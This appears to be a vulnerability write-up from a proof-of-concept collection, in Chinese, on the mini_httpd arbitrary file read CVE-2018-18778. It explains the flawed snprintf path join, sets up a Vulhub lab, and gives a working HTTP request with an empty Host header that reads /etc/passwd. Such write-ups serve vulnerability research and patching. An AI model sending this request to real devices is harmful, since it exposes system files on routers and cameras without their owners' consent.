Awesome-POC/中间件漏洞/ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778.md
2024-11-06 14:10:36 +08:00

47 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778
## 漏洞描述
Mini_httpd是一个微型的Http服务器在占用系统资源较小的情况下可以保持一定程度的性能约为Apache的90%因此广泛被各类IOT路由器交换器摄像头等作为嵌入式服务器。而包括华为zyxel海康威视树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。
```c
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
```
见上述代码,分析如下:
- 当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
- 当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`
后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。
## 环境搭建
Vulhub执行如下命令启动mini_httpd 1.29
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Web页面。
## 漏洞复现
发送请求是将Host置空PATH的值是文件绝对路径
```
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
成功访问文件`/etc/passwd`
![image-20220226215232309](images/202202262152435.png)